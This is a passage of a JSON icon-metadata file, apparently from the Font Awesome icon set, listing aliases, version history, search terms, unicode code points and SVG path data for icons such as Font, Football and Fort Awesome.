      "terms": ["alphabet", "glyph", "text", "type", "typeface"]
    },
    "styles": ["solid"],
    "unicode": "f031",
    "label": "Font",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M254 52.8C249.3 40.3 237.3 32 224 32s-25.3 8.3-30 20.8L57.8 416H32c-17.7 0-32 14.3-32 32s14.3 32 32 32h96c17.7 0 32-14.3 32-32s-14.3-32-32-32h-1.8l18-48H303.8l18 48H320c-17.7 0-32 14.3-32 32s14.3 32 32 32h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H390.2L254 52.8zM279.8 304H168.2L224 155.1 279.8 304z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M254 52.8C249.3 40.3 237.3 32 224 32s-25.3 8.3-30 20.8L57.8 416H32c-17.7 0-32 14.3-32 32s14.3 32 32 32h96c17.7 0 32-14.3 32-32s-14.3-32-32-32h-1.8l18-48H303.8l18 48H320c-17.7 0-32 14.3-32 32s14.3 32 32 32h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H390.2L254 52.8zM279.8 304H168.2L224 155.1 279.8 304z"
      }
    },
    "free": ["solid"]
  },
  "font-awesome": {
    "aliases": {
      "names": ["font-awesome-flag", "font-awesome-logo-full"],
      "unicodes": {
        "composite": ["f425", "f4e6"],
        "primary": ["f4e6"],
        "secondary": ["10f2b4", "10f4e6"]
      }
    },
    "changes": [
      "4.6.0",
      "5.0.0",
      "5.15.4",
      "6.0.0-beta1",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["awesome", "flag", "font", "icons", "typeface"]
    },
    "styles": ["solid", "regular", "brands"],
    "unicode": "f2b4",
    "label": "Font Awesome",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 48V384c-63.1 22.5-82.3 32-119.5 32c-62.8 0-86.6-32-149.3-32c-20.6 0-36.6 3.6-51.2 8.2v-64c14.6-4.6 30.6-8.2 51.2-8.2c62.7 0 86.5 32 149.3 32c20.4 0 35.6-3 55.5-9.3v-208c-19.9 6.3-35.1 9.3-55.5 9.3c-62.8 0-86.6-32-149.3-32c-50.8 0-74.9 20.6-115.2 28.7V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V64C0 46.3 14.3 32 32 32s32 14.3 32 32V76.7c40.3-8 64.4-28.7 115.2-28.7c62.7 0 86.5 32 149.3 32c37.1 0 56.4-9.5 119.5-32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 48V384c-63.1 22.5-82.3 32-119.5 32c-62.8 0-86.6-32-149.3-32c-20.6 0-36.6 3.6-51.2 8.2v-64c14.6-4.6 30.6-8.2 51.2-8.2c62.7 0 86.5 32 149.3 32c20.4 0 35.6-3 55.5-9.3v-208c-19.9 6.3-35.1 9.3-55.5 9.3c-62.8 0-86.6-32-149.3-32c-50.8 0-74.9 20.6-115.2 28.7V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V64C0 46.3 14.3 32 32 32s32 14.3 32 32V76.7c40.3-8 64.4-28.7 115.2-28.7c62.7 0 86.5 32 149.3 32c37.1 0 56.4-9.5 119.5-32z"
      },
      "regular": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M48 56c0-13.3-10.7-24-24-24S0 42.7 0 56V456c0 13.3 10.7 24 24 24s24-10.7 24-24V124.2l12.5-2.4c16.7-3.2 31.5-8.5 44.2-13.1l0 0 0 0c3.7-1.3 7.1-2.6 10.4-3.7c15.2-5.2 30.4-9.1 51.2-9.1c25.6 0 43 6 63.5 13.3l.5 .2c20.9 7.4 44.8 15.9 79.1 15.9c32.4 0 53.7-6.8 90.5-19.6V342.9l-9.5 3.3c-41.5 14.4-55.2 19.2-81 19.2c-25.7 0-43.1-6-63.6-13.3l-.6-.2c-20.8-7.4-44.8-15.8-79-15.8c-16.8 0-31 2-43.9 5c-12.9 3-20.9 16-17.9 28.9s16 20.9 28.9 17.9c9.6-2.2 20.1-3.7 32.9-3.7c25.6 0 43 6 63.5 13.3l.5 .2c20.9 7.4 44.8 15.9 79.1 15.9c34.4 0 56.4-7.7 97.8-22.2c7.5-2.6 15.5-5.4 24.4-8.5l16.2-5.5V360 72 38.4L416.2 49.3c-9.7 3.3-18.2 6.3-25.7 8.9c-41.5 14.4-55.2 19.2-81 19.2c-25.7 0-43.1-6-63.6-13.3l-.6-.2c-20.8-7.4-44.8-15.8-79-15.8c-27.8 0-48.5 5.5-66.6 11.6c-4.9 1.7-9.3 3.3-13.6 4.8c-11.9 4.3-22 7.9-34.7 10.3L48 75.4V56z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M48 56c0-13.3-10.7-24-24-24S0 42.7 0 56V456c0 13.3 10.7 24 24 24s24-10.7 24-24V124.2l12.5-2.4c16.7-3.2 31.5-8.5 44.2-13.1l0 0 0 0c3.7-1.3 7.1-2.6 10.4-3.7c15.2-5.2 30.4-9.1 51.2-9.1c25.6 0 43 6 63.5 13.3l.5 .2c20.9 7.4 44.8 15.9 79.1 15.9c32.4 0 53.7-6.8 90.5-19.6V342.9l-9.5 3.3c-41.5 14.4-55.2 19.2-81 19.2c-25.7 0-43.1-6-63.6-13.3l-.6-.2c-20.8-7.4-44.8-15.8-79-15.8c-16.8 0-31 2-43.9 5c-12.9 3-20.9 16-17.9 28.9s16 20.9 28.9 17.9c9.6-2.2 20.1-3.7 32.9-3.7c25.6 0 43 6 63.5 13.3l.5 .2c20.9 7.4 44.8 15.9 79.1 15.9c34.4 0 56.4-7.7 97.8-22.2c7.5-2.6 15.5-5.4 24.4-8.5l16.2-5.5V360 72 38.4L416.2 49.3c-9.7 3.3-18.2 6.3-25.7 8.9c-41.5 14.4-55.2 19.2-81 19.2c-25.7 0-43.1-6-63.6-13.3l-.6-.2c-20.8-7.4-44.8-15.8-79-15.8c-27.8 0-48.5 5.5-66.6 11.6c-4.9 1.7-9.3 3.3-13.6 4.8c-11.9 4.3-22 7.9-34.7 10.3L48 75.4V56z"
      },
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 48V384C385 407 366 416 329 416C266 416 242 384 179 384C159 384 143 388 128 392V328C143 324 159 320 179 320C242 320 266 352 329 352C349 352 364 349 384 343V135C364 141 349 144 329 144C266 144 242 112 179 112C128 112 104 133 64 141V448C64 466 50 480 32 480S0 466 0 448V64C0 46 14 32 32 32S64 46 64 64V77C104 69 128 48 179 48C242 48 266 80 329 80C366 80 385 71 448 48Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 48V384C385 407 366 416 329 416C266 416 242 384 179 384C159 384 143 388 128 392V328C143 324 159 320 179 320C242 320 266 352 329 352C349 352 364 349 384 343V135C364 141 349 144 329 144C266 144 242 112 179 112C128 112 104 133 64 141V448C64 466 50 480 32 480S0 466 0 448V64C0 46 14 32 32 32S64 46 64 64V77C104 69 128 48 179 48C242 48 266 80 329 80C366 80 385 71 448 48Z"
      }
    },
    "free": ["brands", "regular", "solid"]
  },
  "fonticons": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f280",
    "label": "Fonticons",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32v448h448V32zm187 140.9c-18.4 0-19 9.9-19 27.4v23.3c0 2.4-3.5 4.4-.6 4.4h67.4l-11.1 37.3H168v112.9c0 5.8-2 6.7 3.2 7.3l43.5 4.1v25.1H84V389l21.3-2c5.2-.6 6.7-2.3 6.7-7.9V267.7c0-2.3-2.9-2.3-5.8-2.3H84V228h28v-21c0-49.6 26.5-70 77.3-70 34.1 0 64.7 8.2 64.7 52.8l-50.7 6.1c.3-18.7-4.4-23-16.3-23zm74.3 241.8v-25.1l20.4-2.6c5.2-.6 7.6-1.7 7.6-7.3V271.8c0-4.1-2.9-6.7-6.7-7.9l-24.2-6.4 6.7-29.5h80.2v151.7c0 5.8-2.6 6.4 2.9 7.3l15.7 2.6v25.1zm80.8-255.5l9 33.2-7.3 7.3-31.2-16.6-31.2 16.6-7.3-7.3 9-33.2-21.8-24.2 3.5-9.6h27.7l15.5-28h9.3l15.5 28h27.7l3.5 9.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 32v448h448V32zm187 140.9c-18.4 0-19 9.9-19 27.4v23.3c0 2.4-3.5 4.4-.6 4.4h67.4l-11.1 37.3H168v112.9c0 5.8-2 6.7 3.2 7.3l43.5 4.1v25.1H84V389l21.3-2c5.2-.6 6.7-2.3 6.7-7.9V267.7c0-2.3-2.9-2.3-5.8-2.3H84V228h28v-21c0-49.6 26.5-70 77.3-70 34.1 0 64.7 8.2 64.7 52.8l-50.7 6.1c.3-18.7-4.4-23-16.3-23zm74.3 241.8v-25.1l20.4-2.6c5.2-.6 7.6-1.7 7.6-7.3V271.8c0-4.1-2.9-6.7-6.7-7.9l-24.2-6.4 6.7-29.5h80.2v151.7c0 5.8-2.6 6.4 2.9 7.3l15.7 2.6v25.1zm80.8-255.5l9 33.2-7.3 7.3-31.2-16.6-31.2 16.6-7.3-7.3 9-33.2-21.8-24.2 3.5-9.6h27.7l15.5-28h9.3l15.5 28h27.7l3.5 9.6z"
      }
    },
    "free": ["brands"]
  },
  "fonticons-fi": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3a2",
    "label": "Fonticons Fi",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M114.4 224h92.4l-15.2 51.2h-76.4V433c0 8-2.8 9.2 4.4 10l59.6 5.6V483H0v-35.2l29.2-2.8c7.2-.8 9.2-3.2 9.2-10.8V278.4c0-3.2-4-3.2-8-3.2H0V224h38.4v-28.8c0-68 36.4-96 106-96 46.8 0 88.8 11.2 88.8 72.4l-69.6 8.4c.4-25.6-6-31.6-22.4-31.6-25.2 0-26 13.6-26 37.6v32c0 3.2-4.8 6-.8 6zM384 483H243.2v-34.4l28-3.6c7.2-.8 10.4-2.4 10.4-10V287c0-5.6-4-9.2-9.2-10.8l-33.2-8.8 9.2-40.4h110v208c0 8-3.6 8.8 4 10l21.6 3.6V483zm-30-347.2l12.4 45.6-10 10-42.8-22.8-42.8 22.8-10-10 12.4-45.6-30-36.4 4.8-10h38L307.2 51H320l21.2 38.4h38l4.8 13.2-30 33.2z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M114.4 224h92.4l-15.2 51.2h-76.4V433c0 8-2.8 9.2 4.4 10l59.6 5.6V483H0v-35.2l29.2-2.8c7.2-.8 9.2-3.2 9.2-10.8V278.4c0-3.2-4-3.2-8-3.2H0V224h38.4v-28.8c0-68 36.4-96 106-96 46.8 0 88.8 11.2 88.8 72.4l-69.6 8.4c.4-25.6-6-31.6-22.4-31.6-25.2 0-26 13.6-26 37.6v32c0 3.2-4.8 6-.8 6zM384 483H243.2v-34.4l28-3.6c7.2-.8 10.4-2.4 10.4-10V287c0-5.6-4-9.2-9.2-10.8l-33.2-8.8 9.2-40.4h110v208c0 8-3.6 8.8 4 10l21.6 3.6V483zm-30-347.2l12.4 45.6-10 10-42.8-22.8-42.8 22.8-10-10 12.4-45.6-30-36.4 4.8-10h38L307.2 51H320l21.2 38.4h38l4.8 13.2-30 33.2z"
      }
    },
    "free": ["brands"]
  },
  "football": {
    "aliases": {
      "names": ["football-ball"],
      "unicodes": {
        "composite": ["1f3c8"],
        "secondary": ["10f44e"]
      }
    },
    "changes": [
      "5.0.5",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "american",
        "american football",
        "ball",
        "fall",
        "football",
        "nfl",
        "pigskin",
        "seasonal"
      ]
    },
    "styles": ["solid"],
    "unicode": "f44e",
    "label": "Football",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M247.5 25.4c-13.5 3.3-26.4 7.2-38.6 11.7C142.9 61.6 96.7 103.6 66 153.6c-18.3 29.8-30.9 62.3-39.2 95.4L264.5 486.6c13.5-3.3 26.4-7.2 38.6-11.7c66-24.5 112.2-66.5 142.9-116.5c18.3-29.8 30.9-62.3 39.1-95.3L247.5 25.4zM495.2 205.3c6.1-56.8 1.4-112.2-7.7-156.4c-2.7-12.9-13-22.9-26.1-25.1c-58.2-9.7-109.9-12-155.6-7.9L495.2 205.3zM206.1 496L16.8 306.7c-6.1 56.8-1.4 112.2 7.7 156.4c2.7 12.9 13 22.9 26.1 25.1c58.2 9.7 109.9 12 155.6 7.9zm54.6-331.3c6.2-6.2 16.4-6.2 22.6 0l64 64c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0l-64-64c-6.2-6.2-6.2-16.4 0-22.6zm-48 48c6.2-6.2 16.4-6.2 22.6 0l64 64c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0l-64-64c-6.2-6.2-6.2-16.4 0-22.6zm-48 48c6.2-6.2 16.4-6.2 22.6 0l64 64c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0l-64-64c-6.2-6.2-6.2-16.4 0-22.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M247.5 25.4c-13.5 3.3-26.4 7.2-38.6 11.7C142.9 61.6 96.7 103.6 66 153.6c-18.3 29.8-30.9 62.3-39.2 95.4L264.5 486.6c13.5-3.3 26.4-7.2 38.6-11.7c66-24.5 112.2-66.5 142.9-116.5c18.3-29.8 30.9-62.3 39.1-95.3L247.5 25.4zM495.2 205.3c6.1-56.8 1.4-112.2-7.7-156.4c-2.7-12.9-13-22.9-26.1-25.1c-58.2-9.7-109.9-12-155.6-7.9L495.2 205.3zM206.1 496L16.8 306.7c-6.1 56.8-1.4 112.2 7.7 156.4c2.7 12.9 13 22.9 26.1 25.1c58.2 9.7 109.9 12 155.6 7.9zm54.6-331.3c6.2-6.2 16.4-6.2 22.6 0l64 64c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0l-64-64c-6.2-6.2-6.2-16.4 0-22.6zm-48 48c6.2-6.2 16.4-6.2 22.6 0l64 64c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0l-64-64c-6.2-6.2-6.2-16.4 0-22.6zm-48 48c6.2-6.2 16.4-6.2 22.6 0l64 64c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0l-64-64c-6.2-6.2-6.2-16.4 0-22.6z"
      }
    },
    "free": ["solid"]
  },
  "fort-awesome": {
    "changes": ["4.5.0", "5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": ["castle"]
    },
    "styles": ["brands"],
    "unicode": "f286",
    "label": "Fort Awesome",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M489.2 287.9h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6V146.2c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6v-32c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6v-32c0-6-8-4.6-11.7-4.6v-38c8.3-2 17.1-3.4 25.7-3.4 10.9 0 20.9 4.3 31.4 4.3 4.6 0 27.7-1.1 27.7-8v-60c0-2.6-2-4.6-4.6-4.6-5.1 0-15.1 4.3-24 4.3-9.7 0-20.9-4.3-32.6-4.3-8 0-16 1.1-23.7 2.9v-4.9c5.4-2.6 9.1-8.3 9.1-14.3 0-20.7-31.4-20.8-31.4 0 0 6 3.7 11.7 9.1 14.3v111.7c-3.7 0-11.7-1.4-11.7 4.6v32h-36.6v-32c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32H128v-32c0-2.6-2-4.6-4.6-4.6H96c-2.6 0-4.6 2-4.6 4.6v178.3H54.8v-32c0-2.6-2-4.6-4.6-4.6H22.8c-2.6 0-4.6 2-4.6 4.6V512h182.9v-96c0-72.6 109.7-72.6 109.7 0v96h182.9V292.5c.1-2.6-1.9-4.6-4.5-4.6zm-288.1-4.5c0 2.6-2 4.6-4.6 4.6h-27.4c-2.6 0-4.6-2-4.6-4.6v-64c0-2.6 2-4.6 4.6-4.6h27.4c2.6 0 4.6 2 4.6 4.6v64zm146.4 0c0 2.6-2 4.6-4.6 4.6h-27.4c-2.6 0-4.6-2-4.6-4.6v-64c0-2.6 2-4.6 4.6-4.6h27.4c2.6 0 4.6 2 4.6 4.6v64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M489.2 287.9h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6V146.2c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6v-32c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6v-32c0-6-8-4.6-11.7-4.6v-38c8.3-2 17.1-3.4 25.7-3.4 10.9 0 20.9 4.3 31.4 4.3 4.6 0 27.7-1.1 27.7-8v-60c0-2.6-2-4.6-4.6-4.6-5.1 0-15.1 4.3-24 4.3-9.7 0-20.9-4.3-32.6-4.3-8 0-16 1.1-23.7 2.9v-4.9c5.4-2.6 9.1-8.3 9.1-14.3 0-20.7-31.4-20.8-31.4 0 0 6 3.7 11.7 9.1 14.3v111.7c-3.7 0-11.7-1.4-11.7 4.6v32h-36.6v-32c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32H128v-32c0-2.6-2-4.6-4.6-4.6H96c-2.6 0-4.6 2-4.6 4.6v178.3H54.8v-32c0-2.6-2-4.6-4.6-4.6H22.8c-2.6 0-4.6 2-4.6 4.6V512h182.9v-96c0-72.6 109.7-72.6 109.7 0v96h182.9V292.5c.1-2.6-1.9-4.6-4.5-4.6zm-288.1-4.5c0 2.6-2 4.6-4.6 4.6h-27.4c-2.6 0-4.6-2-4.6-4.6v-64c0-2.6 2-4.6 4.6-4.6h27.4c2.6 0 4.6 2 4.6 4.6v64zm146.4 0c0 2.6-2 4.6-4.6 4.6h-27.4c-2.6 0-4.6-2-4.6-4.6v-64c0-2.6 2-4.6 4.6-4.6h27.4c2.6 0 4.6 2 4.6 4.6v64z"
      }
    },
    "free": ["brands"]
  },
  "fort-awesome-alt": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["castle"]
    },
    "styles": ["brands"],
    "unicode": "f3a3",
    "label": "Alternate Fort Awesome",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M208 237.4h-22.2c-2.1 0-3.7 1.6-3.7 3.7v51.7c0 2.1 1.6 3.7 3.7 3.7H208c2.1 0 3.7-1.6 3.7-3.7v-51.7c0-2.1-1.6-3.7-3.7-3.7zm118.2 0H304c-2.1 0-3.7 1.6-3.7 3.7v51.7c0 2.1 1.6 3.7 3.7 3.7h22.2c2.1 0 3.7-1.6 3.7-3.7v-51.7c-.1-2.1-1.7-3.7-3.7-3.7zm132-125.1c-2.3-3.2-4.6-6.4-7.1-9.5-9.8-12.5-20.8-24-32.8-34.4-4.5-3.9-9.1-7.6-13.9-11.2-1.6-1.2-3.2-2.3-4.8-3.5C372 34.1 340.3 20 306 13c-16.2-3.3-32.9-5-50-5s-33.9 1.7-50 5c-34.3 7.1-66 21.2-93.3 40.8-1.6 1.1-3.2 2.3-4.8 3.5-4.8 3.6-9.4 7.3-13.9 11.2-3 2.6-5.9 5.3-8.8 8s-5.7 5.5-8.4 8.4c-5.5 5.7-10.7 11.8-15.6 18-2.4 3.1-4.8 6.3-7.1 9.5C25.2 153 8.3 202.5 8.3 256c0 2 .1 4 .1 6 .1.7.1 1.3.1 2 .1 1.3.1 2.7.2 4 0 .8.1 1.5.1 2.3 0 1.3.1 2.5.2 3.7.1.8.1 1.6.2 2.4.1 1.1.2 2.3.3 3.5 0 .8.1 1.6.2 2.4.1 1.2.3 2.4.4 3.6.1.8.2 1.5.3 2.3.1 1.3.3 2.6.5 3.9.1.6.2 1.3.3 1.9l.9 5.7c.1.6.2 1.1.3 1.7.3 1.3.5 2.7.8 4 .2.8.3 1.6.5 2.4.2 1 .5 2.1.7 3.2.2.9.4 1.7.6 2.6.2 1 .4 2 .7 3 .2.9.5 1.8.7 2.7.3 1 .5 1.9.8 2.9.3.9.5 1.8.8 2.7.2.9.5 1.9.8 2.8s.5 1.8.8 2.7c.3 1 .6 1.9.9 2.8.6 1.6 1.1 3.3 1.7 4.9.4 1 .7 1.9 1 2.8.3 1 .7 2 1.1 3 .3.8.6 1.5.9 2.3l1.2 3c.3.7.6 1.5.9 2.2.4 1 .9 2 1.3 3l.9 2.1c.5 1 .9 2 1.4 3 .3.7.6 1.3.9 2 .5 1 1 2.1 1.5 3.1.2.6.5 1.1.8 1.7.6 1.1 1.1 2.2 1.7 3.3.1.2.2.3.3.5 2.2 4.1 4.4 8.2 6.8 12.2.2.4.5.8.7 1.2.7 1.1 1.3 2.2 2 3.3.3.5.6.9.9 1.4.6 1.1 1.3 2.1 2 3.2.3.5.6.9.9 1.4.7 1.1 1.4 2.1 2.1 3.2.2.4.5.8.8 1.2.7 1.1 1.5 2.2 2.3 3.3.2.2.3.5.5.7 37.5 51.7 94.4 88.5 160 99.4.9.1 1.7.3 2.6.4 1 .2 2.1.4 3.1.5s1.9.3 2.8.4c1 .2 2 .3 3 .4.9.1 1.9.2 2.9.3s1.9.2 2.9.3 2.1.2 3.1.3c.9.1 1.8.1 2.7.2 1.1.1 2.3.1 3.4.2.8 0 1.7.1 2.5.1 1.3 0 2.6.1 3.9.1.7.1 1.4.1 2.1.1 2 .1 4 .1 6 .1s4-.1 6-.1c.7 0 1.4-.1 2.1-.1 1.3 0 2.6 0 3.9-.1.8 0 1.7-.1 2.5-.1 1.1-.1 2.3-.1 3.4-.2.9 0 1.8-.1 2.7-.2 1-.1 2.1-.2 3.1-.3s1.9-.2 2.9-.3c.9-.1 1.9-.2 2.9-.3s2-.3 3-.4 1.9-.3 2.8-.4c1-.2 2.1-.3 3.1-.5.9-.1 1.7-.3 2.6-.4 65.6-11 122.5-47.7 160.1-102.4.2-.2.3-.5.5-.7.8-1.1 1.5-2.2 2.3-3.3.2-.4.5-.8.8-1.2.7-1.1 1.4-2.1 2.1-3.2.3-.5.6-.9.9-1.4.6-1.1 1.3-2.1 2-3.2.3-.5.6-.9.9-1.4.7-1.1 1.3-2.2 2-3.3.2-.4.5-.8.7-1.2 2.4-4 4.6-8.1 6.8-12.2.1-.2.2-.3.3-.5.6-1.1 1.1-2.2 1.7-3.3.2-.6.5-1.1.8-1.7.5-1 1-2.1 1.5-3.1.3-.7.6-1.3.9-2 .5-1 1-2 1.4-3l.9-2.1c.5-1 .9-2 1.3-3 .3-.7.6-1.5.9-2.2l1.2-3c.3-.8.6-1.5.9-2.3.4-1 .7-2 1.1-3s.7-1.9 1-2.8c.6-1.6 1.2-3.3 1.7-4.9.3-1 .6-1.9.9-2.8s.5-1.8.8-2.7c.2-.9.5-1.9.8-2.8s.6-1.8.8-2.7c.3-1 .5-1.9.8-2.9.2-.9.5-1.8.7-2.7.2-1 .5-2 .7-3 .2-.9.4-1.7.6-2.6.2-1 .5-2.1.7-3.2.2-.8.3-1.6.5-2.4.3-1.3.6-2.7.8-4 .1-.6.2-1.1.3-1.7l.9-5.7c.1-.6.2-1.3.3-1.9.1-1.3.3-2.6.5-3.9.1-.8.2-1.5.3-2.3.1-1.2.3-2.4.4-3.6 0-.8.1-1.6.2-2.4.1-1.1.2-2.3.3-3.5.1-.8.1-1.6.2-2.4.1 1.7.1.5.2-.7 0-.8.1-1.5.1-2.3.1-1.3.2-2.7.2-4 .1-.7.1-1.3.1-2 .1-2 .1-4 .1-6 0-53.5-16.9-103-45.8-143.7zM448 371.5c-9.4 15.5-20.6 29.9-33.6 42.9-20.6 20.6-44.5 36.7-71.2 48-13.9 5.8-28.2 10.3-42.9 13.2v-75.8c0-58.6-88.6-58.6-88.6 0v75.8c-14.7-2.9-29-7.3-42.9-13.2-26.7-11.3-50.6-27.4-71.2-48-13-13-24.2-27.4-33.6-42.9v-71.3c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7V326h29.6V182c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7H208c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-4.8 6.5-3.7 9.5-3.7V88.1c-4.4-2-7.4-6.7-7.4-11.5 0-16.8 25.4-16.8 25.4 0 0 4.8-3 9.4-7.4 11.5V92c6.3-1.4 12.7-2.3 19.2-2.3 9.4 0 18.4 3.5 26.3 3.5 7.2 0 15.2-3.5 19.4-3.5 2.1 0 3.7 1.6 3.7 3.7v48.4c0 5.6-18.7 6.5-22.4 6.5-8.6 0-16.6-3.5-25.4-3.5-7 0-14.1 1.2-20.8 2.8v30.7c3 0 9.5-1.1 9.5 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7h22.2c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7v144h29.5v-25.8c0-2.1 1.6-3.7 3.7-3.7h22.2c2.1 0 3.7 1.6 3.7 3.7z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M208 237.4h-22.2c-2.1 0-3.7 1.6-3.7 3.7v51.7c0 2.1 1.6 3.7 3.7 3.7H208c2.1 0 3.7-1.6 3.7-3.7v-51.7c0-2.1-1.6-3.7-3.7-3.7zm118.2 0H304c-2.1 0-3.7 1.6-3.7 3.7v51.7c0 2.1 1.6 3.7 3.7 3.7h22.2c2.1 0 3.7-1.6 3.7-3.7v-51.7c-.1-2.1-1.7-3.7-3.7-3.7zm132-125.1c-2.3-3.2-4.6-6.4-7.1-9.5-9.8-12.5-20.8-24-32.8-34.4-4.5-3.9-9.1-7.6-13.9-11.2-1.6-1.2-3.2-2.3-4.8-3.5C372 34.1 340.3 20 306 13c-16.2-3.3-32.9-5-50-5s-33.9 1.7-50 5c-34.3 7.1-66 21.2-93.3 40.8-1.6 1.1-3.2 2.3-4.8 3.5-4.8 3.6-9.4 7.3-13.9 11.2-3 2.6-5.9 5.3-8.8 8s-5.7 5.5-8.4 8.4c-5.5 5.7-10.7 11.8-15.6 18-2.4 3.1-4.8 6.3-7.1 9.5C25.2 153 8.3 202.5 8.3 256c0 2 .1 4 .1 6 .1.7.1 1.3.1 2 .1 1.3.1 2.7.2 4 0 .8.1 1.5.1 2.3 0 1.3.1 2.5.2 3.7.1.8.1 1.6.2 2.4.1 1.1.2 2.3.3 3.5 0 .8.1 1.6.2 2.4.1 1.2.3 2.4.4 3.6.1.8.2 1.5.3 2.3.1 1.3.3 2.6.5 3.9.1.6.2 1.3.3 1.9l.9 5.7c.1.6.2 1.1.3 1.7.3 1.3.5 2.7.8 4 .2.8.3 1.6.5 2.4.2 1 .5 2.1.7 3.2.2.9.4 1.7.6 2.6.2 1 .4 2 .7 3 .2.9.5 1.8.7 2.7.3 1 .5 1.9.8 2.9.3.9.5 1.8.8 2.7.2.9.5 1.9.8 2.8s.5 1.8.8 2.7c.3 1 .6 1.9.9 2.8.6 1.6 1.1 3.3 1.7 4.9.4 1 .7 1.9 1 2.8.3 1 .7 2 1.1 3 .3.8.6 1.5.9 2.3l1.2 3c.3.7.6 1.5.9 2.2.4 1 .9 2 1.3 3l.9 2.1c.5 1 .9 2 1.4 3 .3.7.6 1.3.9 2 .5 1 1 2.1 1.5 3.1.2.6.5 1.1.8 1.7.6 1.1 1.1 2.2 1.7 3.3.1.2.2.3.3.5 2.2 4.1 4.4 8.2 6.8 12.2.2.4.5.8.7 1.2.7 1.1 1.3 2.2 2 3.3.3.5.6.9.9 1.4.6 1.1 1.3 2.1 2 3.2.3.5.6.9.9 1.4.7 1.1 1.4 2.1 2.1 3.2.2.4.5.8.8 1.2.7 1.1 1.5 2.2 2.3 3.3.2.2.3.5.5.7 37.5 51.7 94.4 88.5 160 99.4.9.1 1.7.3 2.6.4 1 .2 2.1.4 3.1.5s1.9.3 2.8.4c1 .2 2 .3 3 .4.9.1 1.9.2 2.9.3s1.9.2 2.9.3 2.1.2 3.1.3c.9.1 1.8.1 2.7.2 1.1.1 2.3.1 3.4.2.8 0 1.7.1 2.5.1 1.3 0 